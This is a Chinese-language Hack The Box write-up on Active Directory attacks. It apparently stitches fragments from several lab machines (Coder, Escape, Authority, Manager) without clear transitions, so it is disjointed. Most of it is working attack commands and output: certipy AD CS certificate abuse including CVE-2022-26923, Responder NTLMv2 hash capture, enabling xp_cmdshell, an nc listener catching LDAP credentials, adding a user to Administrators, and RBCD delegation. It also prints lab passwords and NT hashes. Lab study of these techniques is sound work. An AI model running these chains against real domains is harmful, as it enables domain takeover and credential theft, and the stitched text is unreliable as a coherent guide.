CVE-2022-26923 的预期路径与模板修改的替代路径同时留存。尤其保留 Enrollment Flag、Name Flag 和靶场清理脚本恢复对象后所需的重新配置步骤。
来源 coder · 原记录 2023-12-19 · 33 个代码块 · 18 处图片引用
查看分析过程、攻击步骤与完整代码
简述
本文是insane难度的HTB Coder机器的域渗透部分,其中Bloodhound AD Enumeration, ADCS CVE-2022-26923等域渗透提权细节是此box的特色,主要参考0xdf’s blog coder walkthrough和HTB的coder官方writeup paper记录这篇博客加深记忆和理解,及供后续做深入研究查阅,备忘。
Group Name Type SID Attributes =========================================== ================ ============================================== ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group CODER\PKI Admins Group S-1-5-21-2608251805-3526430372-1546376444-2101 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
*Evil-WinRM* PS C:\Users\e.black\Documents> net group "PKI Admins" Group name PKI Admins Comment ADCS Certificate and Template Management
Members
------------------------------------------------------------------------------- e.black The command completed successfully.
~/hackthebox/machine/coder ⌚ 18:44:17 $ bloodhound-python -c All -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -ns 10.10.11.207 -d coder.htb -dc coder.htb --zip INFO: Found AD domain: coder.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: coder.htb INFO: Kerberos auth to LDAP failed, trying NTLM WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead... INFO: Kerberos auth to LDAP failed, trying NTLM INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: coder.htb INFO: Kerberos auth to LDAP failed, trying NTLM WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead... INFO: Kerberos auth to LDAP failed, trying NTLM INFO: Found 10 users INFO: Found 55 groups INFO: Found 3 gpos INFO: Found 5 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: dc01.coder.htb INFO: Done in 02M 23S INFO: Compressing output into 20231220185002_bloodhound.zip
*Evil-WinRM* PS C:\Users\e.black> net group "Buildagent Mgmt" Group name BuildAgent Mgmt Comment Teamcity BuildAgent Management
Members
------------------------------------------------------------------------------- s.blade The command completed successfully. *Evil-WinRM* PS C:\Users\e.black> net group "Software Developers" Group name Software Developers Comment Teamcity CI/CD Development
Members
------------------------------------------------------------------------------- j.briggs s.blade The command completed successfully.
使用neo4j数据库语句查询它们之间的关系
1
MATCH p=(o:OU)-[r:Contains*0..]->(n) RETURN p
这对正在处理的Organizational Units(OU)有了一个坚实的概述,即:
1
OU=BUILDAGENTS,OU=DEVELOPMENT,DC=CODER,DC=HTB
最后,为了获得节点层次结构的完整概述,使用以下Cypher查询:
1
MATCH (o1)-[r1:Contains]->(o2:OU) WITH o1 MATCH p=(d)-[r2:Contains*0..]->(o1)-[r3:Contains]->(n) RETURN p
这里要查看的一件事是此AD中的organizational units (OU)。这可以用PowerShell完成:
1 2 3 4 5 6 7 8 9
*Evil-WinRM* PS C:\Users\e.black> Get-ADOrganizationalUnit -filter * | select Name
Name ---- Domain Controllers Development Groups Users BuildAgents
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 21 [*] Got certificate with DNS Host Name 'dc01.coder.htb' [*] Certificate has no object SID [*] Saved certificate and private key to 'dc01.pfx'
-<ROOT@kali:~/hackthebox/machine/coder>- -<pts/6>- -<#>- certipy auth -pfx dc01.pfx Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: dc01$@coder.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'dc01.ccache' [*] Trying to retrieve NT hashfor'dc01$' [*] Got hashfor'dc01$@coder.htb': aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94
-<ROOT@kali:~/hackthebox/machine/coder>- -<pts/6>- -<#>- certipy find -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -target coder.htb -text Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Trying to get CA configuration for'coder-DC01-CA' via CSRA [!] Got error while trying to get CA configuration for'coder-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error. [*] Trying to get CA configuration for'coder-DC01-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Got CA configuration for'coder-DC01-CA' [*] Saved text output to '20231220224850_Certipy.txt'
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 25 [*] Got certificate with UPN 'administrator@coder.htb' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx'
使用administrator.pfx dump administrator的NTLM hash
1 2 3 4 5 6 7 8 9 10
-<ROOT@kali:~/hackthebox/machine/coder>- -<pts/6>- -<#>- certipy auth -pfx administrator.pfx Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@coder.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hashfor'administrator' [*] Got hashfor'administrator@coder.htb': aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7
nmap -p- --min-rate 10000 10.10.11.202 PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1433/tcp open ms-sql-s 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49668/tcp open unknown 49691/tcp open unknown 49692/tcp open unknown 49708/tcp open unknown 49712/tcp open unknown 63474/tcp open unknown
┌──(root💀kali)-[~/hackthebox/machine/escape] └─# openssl s_client -showcerts -connect 10.10.11.202:3269 | openssl x509 -noout -text Can't use SSL_get_servername depth=0 CN = dc.sequel.htb verify error:num=20:unable to get local issuer certificate verify return:1 depth=0 CN = dc.sequel.htb verify error:num=21:unable to verify the first certificate verify return:1 depth=0 CN = dc.sequel.htb verify return:1 Certificate: Data: Version: 3 (0x2) Serial Number: 1e:00:00:00:04:90:52:7b:fc:91:38:74:2f:00:00:00:00:00:04 Signature Algorithm: sha256WithRSAEncryption Issuer: DC = htb, DC = sequel, CN = sequel-DC-CA Validity Not Before: Nov 18 21:20:35 2022 GMT Not After : Nov 18 21:20:35 2023 GMT Subject: CN = dc.sequel.htb Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (2048 bit) Modulus: 00:a6:92:78:aa:2e:fe:07:2f:e4:d9:88:f2:d4:9f: 37:64:9d:73:fe:ca:4e:ef:85:bd:b5:46:70:3d:f8: 2f:98:38:f4:28:17:f8:15:1d:c8:37:d1:ad:2e:08: d5:5f:a0:87:c1:3b:5e:cf:c9:1d:97:6b:5c:e7:c1: c1:f2:8f:41:e2:6c:9a:2a:3c:e1:2a:64:57:d7:47: 98:69:27:b4:89:c4:f9:7d:95:28:2c:3c:42:53:3e: 28:bb:f7:db:b4:cd:c0:52:d3:c4:5c:a0:68:92:e0: 67:8b:ec:7c:c0:cd:97:a5:45:d1:ce:75:d6:3c:bd: f0:a9:01:6c:07:dd:69:32:e6:f5:67:3f:ca:99:ec: b7:11:98:31:4f:8d:cf:74:f6:38:09:92:70:0e:fa: 48:51:e5:e0:db:dd:c7:1b:5a:ff:c8:ca:97:df:50: 19:e1:e3:cb:78:d6:03:a5:8c:e8:7c:a8:38:0b:92: bf:da:66:8d:fb:04:d3:67:5b:7a:01:18:aa:01:60: 50:af:11:51:4c:7e:af:4c:ea:13:e8:d1:7e:e8:7c: 40:2d:71:71:c5:6c:3f:ec:ea:df:27:85:a5:e5:8e: 6e:8b:51:f9:bd:64:b5:7a:b9:d5:3c:4f:7c:6a:22: 63:7b:70:79:99:3b:0f:73:3c:3b:a0:a0:45:11:db: 33:45 Exponent: 65537 (0x10001) X509v3 extensions: 1.3.6.1.4.1.311.20.2: . .D.o.m.a.i.n.C.o.n.t.r.o.l.l.e.r X509v3 Extended Key Usage: TLS Web Client Authentication, TLS Web Server Authentication X509v3 Key Usage: critical Digital Signature, Key Encipherment S/MIME Capabilities: ......0...`.H.e...*0...`.H.e...-0...`.H.e....0...`.H.e....0...+....0 ..*.H.. X509v3 Subject Key Identifier: 22:E2:60:5F:A1:1E:F7:90:9E:56:2A:7B:95:BB:4C:0E:DE:6C:58:87 X509v3 Authority Key Identifier: 62:9F:32:A3:A0:F0:38:20:D4:60:C0:CD:6D:C5:FA:51:30:5E:C3:15 X509v3 CRL Distribution Points: Full Name: URI:ldap:///CN=sequel-DC-CA,CN=dc,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=sequel,DC=htb?certificateRevocationList?base?objectClass=cRLDistributionPoint Authority Information Access: CA Issuers - URI:ldap:///CN=sequel-DC-CA,CN=AIA,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=sequel,DC=htb?cACertificate?base?objectClass=certificationAuthority X509v3 Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb Signature Algorithm: sha256WithRSAEncryption Signature Value: 92:e4:4b:28:07:bc:2f:a3:51:de:8c:0f:4e:e7:ea:f3:7e:fd: 56:c4:6e:88:fe:fb:6a:9a:51:98:eb:5d:c6:49:7f:6e:2d:f3: 91:13:8b:11:26:c0:ff:b1:8e:cb:ee:c3:c8:af:c5:5f:8e:ac: f1:19:b2:2a:49:ed:cc:0f:8f:17:9d:45:cc:23:a5:e5:f2:ab: bf:85:b3:36:51:f5:0f:d0:c2:03:06:87:0a:56:08:b5:60:fd: ee:c8:f4:78:84:39:1b:bf:69:c1:f9:00:83:ac:5e:9d:28:4c: 1e:cd:f6:b3:02:7e:b0:88:b3:72:80:53:df:74:a7:25:7e:26: 1c:df:b1:e5:63:26:28:97:98:a7:a2:be:fb:cb:26:e9:27:c1: 89:ae:95:a9:e5:78:e6:52:5a:59:63:72:45:d6:cf:6f:6b:9c: a4:1f:38:33:35:08:93:7b:b1:6a:0d:18:df:87:de:15:65:43: 32:62:84:cf:2a:9b:d3:4e:d4:f2:e2:9e:95:24:3c:0a:b9:26: 8b:ec:3a:fa:fb:e5:93:af:22:04:9b:11:ad:21:63:bb:48:a1: 07:68:13:06:d9:31:23:02:40:37:4e:4a:5a:48:e9:f8:c9:81: ed:74:bc:26:69:fd:85:20:48:bf:1b:82:dc:ed:b4:21:98:37: dd:8b:2a:b4 read:errno=104
注意颁发证书的证书颁发机构sequel-DC-CA。
SMB - TCP 445
List
使用crackmapexec访问SMB
1 2 3 4
┌──(root💀kali)-[~/hackthebox/machine/escape] └─# crackmapexec smb 10.10.11.202 --shares SMB 10.10.11.202 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.10.11.202 445 DC [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
使用任何用户名和空密码:
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root💀kali)-[~/hackthebox/machine/escape] └─# crackmapexec smb 10.10.11.202 -u fdnotreallyausername -p '' --shares SMB 10.10.11.202 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.10.11.202 445 DC [+] sequel.htb\fdnotreallyausername: SMB 10.10.11.202 445 DC [+] Enumerated shares SMB 10.10.11.202 445 DC Share Permissions Remark SMB 10.10.11.202 445 DC ----- ----------- ------ SMB 10.10.11.202 445 DC ADMIN$ Remote Admin SMB 10.10.11.202 445 DC C$ Default share SMB 10.10.11.202 445 DC IPC$ READ Remote IPC SMB 10.10.11.202 445 DC NETLOGON Logon server share SMB 10.10.11.202 445 DC Public READ SMB 10.10.11.202 445 DC SYSVOL Logon server share
Public
能访问的唯一共享是Public。使用-N为空密码,将pdf文件下载下来:
1 2 3 4 5 6 7 8 9 10 11
┌──(root💀kali)-[~/hackthebox/machine/escape] └─# smbclient //10.10.11.202/Public -N Try "help" to get a list of possible commands. smb: \> ls . D 0 Sat Nov 19 06:51:25 2022 .. D 0 Sat Nov 19 06:51:25 2022 SQL Server Procedures.pdf A 49551 Fri Nov 18 08:39:43 2022
5184255 blocks of size 4096. 1470835 blocks available smb: \> get "SQL Server Procedures.pdf" getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (8.3 KiloBytes/sec) (average 8.3 KiloBytes/sec)
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'. [*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press helpfor extra shell commands SQL> select name from master..sysdatabases; name
SQL> xp_cmdshell whoami [-] ERROR(DC\SQLMOCK): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
[+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON]
[+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Force ESS downgrade [OFF]
[+] Generic Options: Responder NIC [tun0] Responder IP [10.10.16.2] Responder IPv6 [dead:beef:4::1000] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Current Session Variables: Responder Machine Name [WIN-H6VOL0QMDH2] Responder Domain Name [ZXWC.LOCAL] Responder DCE-RPC Port [49831] [+] Listening for events... [!] Error starting TCP server on port 53, check permissions or other servers running. [SMB] NTLMv2-SSP Client : 10.10.11.202 [SMB] NTLMv2-SSP Username : sequel\sql_svc [SMB] NTLMv2-SSP Hash : sql_svc::sequel:a052ed0636102870:E34517E6D5F61D5423F401D9A35B8AE0:010100000000000000FA92A342A2D901C3A576838D8EBA6E00000000020008005A0058005700430001001E00570049004E002D004800360056004F004C00300051004D0044004800320004003400570049004E002D004800360056004F004C00300051004D004400480032002E005A005800570043002E004C004F00430041004C00030014005A005800570043002E004C004F00430041004C00050014005A005800570043002E004C004F00430041004C000700080000FA92A342A2D9010600040002000000080030003000000000000000000000000030000012E38F1D56C0404175A7C4C531D6164BC569F5ABDD833B040000C1B5F25101B90A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0032000000000000000000
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2/7/2023 8:06 AM 27608 ERRORLOG.BAK
ERRORLOG.BAK
该文件包含来自SQL服务器的日志:
1 2 3 4 5 6 7 8 9 10 11 12 13
*Evil-WinRM* PS C:\SQLServer\Logs> type ERRORLOG.BAK 2022-11-18 13:43:05.96 Server Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) Sep 24 2019 13:48:23 Copyright (C) 2019 Microsoft Corporation Express Edition (64-bit) on Windows Server 2019 Standard Evaluation 10.0 <X64> (Build 17763: ) (Hypervisor)
2022-11-18 13:43:05.97 Server UTC adjustment: -8:00 2022-11-18 13:43:05.97 Server (c) Microsoft Corporation. 2022-11-18 13:43:05.97 Server All rights reserved. 2022-11-18 13:43:05.97 Server Server process ID is 3788. 2022-11-18 13:43:05.97 Server System Manufacturer: 'VMware, Inc.', System Model: 'VMware7,1'. 2022-11-18 13:43:05.97 Server Authentication mode is MIXED. ...[snip]...
在日志的最后,有这些信息:
1 2 3 4 5
...[snip]... 2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1] 2022-11-18 13:43:07.48 Logon Error: 18456, Severity: 14, State: 8. 2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1] ...[snip]...
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 13 [*] Got certificate with UPN 'administrator@sequel.htb' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx'
注意: 如果出现”The NETBIOS connection with the remote host timed out.”错误。请重新执行命令
┌──(root💀kali)-[~/hackthebox/machine/escape] └─# certipy auth -pfx administrator.pfx Certipy v4.4.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@sequel.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hashfor'administrator' [*] Got hashfor'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
最后,可以通过WinRM PTH并作为管理员用户进行身份验证。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(root💀kali)-[~/hackthebox/machine/escape] └─# ls administrator.ccache administrator.pfx Certify.exe 'SQL Server Procedures.pdf'
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'. [*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press helpfor extra shell commands SQL>
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'. [*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press helpfor extra shell commands SQL> SELECT * FROM OPENROWSET(BULK N'C:\users\ryan.cooper\desktop\user.txt', SINGLE_CLOB) AS Contents BulkColumn
SQL> xp_cmdshell whoami [-] ERROR(DC\SQLMOCK): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for'xp_cmdshell'in SQL Server Books Online. SQL> EXECUTE sp_configure 'show advanced options', 1 [*] INFO(DC\SQLMOCK): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install. SQL> RECONFIGURE SQL> EXECUTE sp_configure 'xp_cmdshell', 1 [*] INFO(DC\SQLMOCK): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL> RECONFIGURE SQL> xp_cmdshell whoami output
⚡ root@kali ~/hackthebox/machine/authority nmap -v -sV -p- --min-rate=10000 10.10.11.222 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-12-11 09:59:06Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 8443/tcp open ssl/https-alt 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open msrpc Microsoft Windows RPC 49688/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49689/tcp open msrpc Microsoft Windows RPC 49691/tcp open msrpc Microsoft Windows RPC 49692/tcp open msrpc Microsoft Windows RPC 49700/tcp open msrpc Microsoft Windows RPC 49709/tcp open msrpc Microsoft Windows RPC 49716/tcp open msrpc Microsoft Windows RPC 49735/tcp open msrpc Microsoft Windows RPC
⚡ root@kali ~/hackthebox/machine/authority smbclient -N //10.10.11.222/Development Can't load /etc/samba/smb.conf - run testparm to debug it Try "help" to get a list of possible commands. smb: \> ls Automation\Ansible\ . D 0 Fri Mar 17 09:20:50 2023 .. D 0 Fri Mar 17 09:20:50 2023 ADCS D 0 Fri Mar 17 09:20:48 2023 LDAP D 0 Fri Mar 17 09:20:48 2023 PWM D 0 Fri Mar 17 09:20:48 2023 SHARE D 0 Fri Mar 17 09:20:48 2023 5888511 blocks of size 4096. 1518451 blocks available
每个都有一个Ansible设置。例如,ADCS:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
smb: \> ls Automation\Ansible\ADCS\ . D 0 Fri Mar 17 09:20:48 2023 .. D 0 Fri Mar 17 09:20:48 2023 .ansible-lint A 259 Thu Sep 22 01:34:12 2022 .yamllint A 205 Tue Sep 6 12:07:26 2022 defaults D 0 Fri Mar 17 09:20:48 2023 LICENSE A 11364 Tue Sep 6 12:07:26 2022 meta D 0 Fri Mar 17 09:20:48 2023 molecule D 0 Fri Mar 17 09:20:48 2023 README.md A 7279 Tue Sep 6 12:07:26 2022 requirements.txt A 466 Tue Sep 6 12:07:26 2022 requirements.yml A 264 Tue Sep 6 12:07:26 2022 SECURITY.md A 924 Tue Sep 6 12:07:26 2022 tasks D 0 Fri Mar 17 09:20:48 2023 templates D 0 Fri Mar 17 09:20:48 2023 tox.ini A 419 Tue Sep 6 12:07:26 2022 vars D 0 Fri Mar 17 09:20:48 2023
5888511 blocks of size 4096. 1518420 blocks available
Active Directory证书服务(ADCS)是一个很有价值的目标,但没有creds做不了什么。注意到这一点,作为再次检查的提示。
smb: \Automation\Ansible\PWM\> ls . D 0 Fri Mar 17 09:20:48 2023 .. D 0 Fri Mar 17 09:20:48 2023 ansible.cfg A 491 Thu Sep 22 01:36:58 2022 ansible_inventory A 174 Wed Sep 21 18:19:32 2022 defaults D 0 Fri Mar 17 09:20:48 2023 handlers D 0 Fri Mar 17 09:20:48 2023 meta D 0 Fri Mar 17 09:20:48 2023 README.md A 1290 Thu Sep 22 01:35:58 2022 tasks D 0 Fri Mar 17 09:20:48 2023 templates D 0 Fri Mar 17 09:20:48 2023
5888511 blocks of size 4096. 1145489 blocks available
把这些文件下载下来
1 2 3 4 5 6 7 8 9 10 11 12
smb: \Automation\Ansible\> prompt off smb: \Automation\Ansible\> recurse true smb: \Automation\Ansible\> mget PWM getting file \Automation\Ansible\PWM\ansible.cfg of size 491 as PWM/ansible.cfg (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec) getting file \Automation\Ansible\PWM\ansible_inventory of size 174 as PWM/ansible_inventory (0.1 KiloBytes/sec) (average 0.3 KiloBytes/sec) getting file \Automation\Ansible\PWM\README.md of size 1290 as PWM/README.md (1.0 KiloBytes/sec) (average 0.5 KiloBytes/sec) getting file \Automation\Ansible\PWM\defaults\main.yml of size 1591 as PWM/defaults/main.yml (1.6 KiloBytes/sec) (average 0.8 KiloBytes/sec) getting file \Automation\Ansible\PWM\handlers\main.yml of size 4 as PWM/handlers/main.yml (0.0 KiloBytes/sec) (average 0.7 KiloBytes/sec) getting file \Automation\Ansible\PWM\meta\main.yml of size 199 as PWM/meta/main.yml (0.2 KiloBytes/sec) (average 0.6 KiloBytes/sec) getting file \Automation\Ansible\PWM\tasks\main.yml of size 1832 as PWM/tasks/main.yml (1.8 KiloBytes/sec) (average 0.8 KiloBytes/sec) getting file \Automation\Ansible\PWM\templates\context.xml.j2 of size 422 as PWM/templates/context.xml.j2 (0.4 KiloBytes/sec) (average 0.7 KiloBytes/sec) getting file \Automation\Ansible\PWM\templates\tomcat-users.xml.j2 of size 388 as PWM/templates/tomcat-users.xml.j2 (0.5 KiloBytes/sec) (average 0.7 KiloBytes/sec)
luci@luci$ nc -lnvp 389 Listening on 0.0.0.0 389 Connection received on 10.10.11.222 61956 0Y`T;CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htblDaP_1n_th3_cle4r!
[+] Generating RSA key [*] Requesting certificate via RPC [+] Trying to connect to endpoint: ncacn_np:10.10.11.222[\pipe\cert] [+] Connected to endpoint: ncacn_np:10.10.11.222[\pipe\cert] [*] Successfully requested certificate [*] Request ID is 6 [*] Got certificate with multiple identifications UPN: 'administrator@authority.htb' DNS Host Name: 'authority.htb' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator_authority.pfx'
┌[root@kali] [/dev/pts/4] └[~/hackthebox/machine/authority]> certipy auth -pfx administrator_authority.pfx Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Found multiple identifications in certificate [*] Please select one: [0] UPN: 'administrator@authority.htb' [1] DNS Host Name: 'authority.htb' > 0 [*] Using principal: administrator@authority.htb [*] Trying to get TGT... [-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
根据Certificates and Pwnage and Patches, Oh My!的这篇文章,Authenticating with certificates when PKINIT is not supported, “当域控制器没有为智能卡安装证书时”就会发生这种情况。具体来说,发生这种情况是因为”DC没有为PKINIT正确设置,身份验证会失效”。
add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS. rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value. add_user new_user [parent] - Creates a new user. add_user_to_group user group - Adds a user to a group. change_password user [password] - Attempt to change a given user's password. Requires LDAPS. clear_rbcd target - Clear the resource based constrained delegation configuration information. disable_account user - Disable the user's account. enable_account user - Enable the user's account. dump - Dumps the domain. search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName. get_user_groups user - Retrieves all groups this user is a member of. get_group_users group - Retrieves all members of a group. get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName). grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName). set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false. set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName). start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel. write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}. exit - Terminates this session.
将svc_ldap用户添加到administrators组
1 2
# add_user_to_group svc_ldap administrators Adding user: svc_ldap to group Administrators result: OK
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\svc_ldap\Documents> net user svc_ldap User name svc_ldap Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 8/10/2022 8:29:31 PM Password expires Never Password changeable 8/11/2022 8:29:31 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 12/11/2023 6:31:59 AM Logon hours allowed All Local Group Memberships *Administrators *Remote Management Use Global Group memberships *Domain Users The command completed successfully.
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] EVIL01$ can now impersonate users on AUTHORITY$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] EVIL01$ (S-1-5-21-622327497-3269355298-2248959698-11601)
{} manager nmap -p- --min-rate 10000 10.10.11.236 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-17 08:06 CDT Nmap scan report for manager.htb (10.10.11.236) Host is up (0.27s latency). Not shown: 65513 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1433/tcp open ms-sql-s 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49667/tcp open unknown 49669/tcp open unknown 49670/tcp open unknown 49671/tcp open unknown 49727/tcp open unknown 51977/tcp open unknown 52689/tcp open unknown
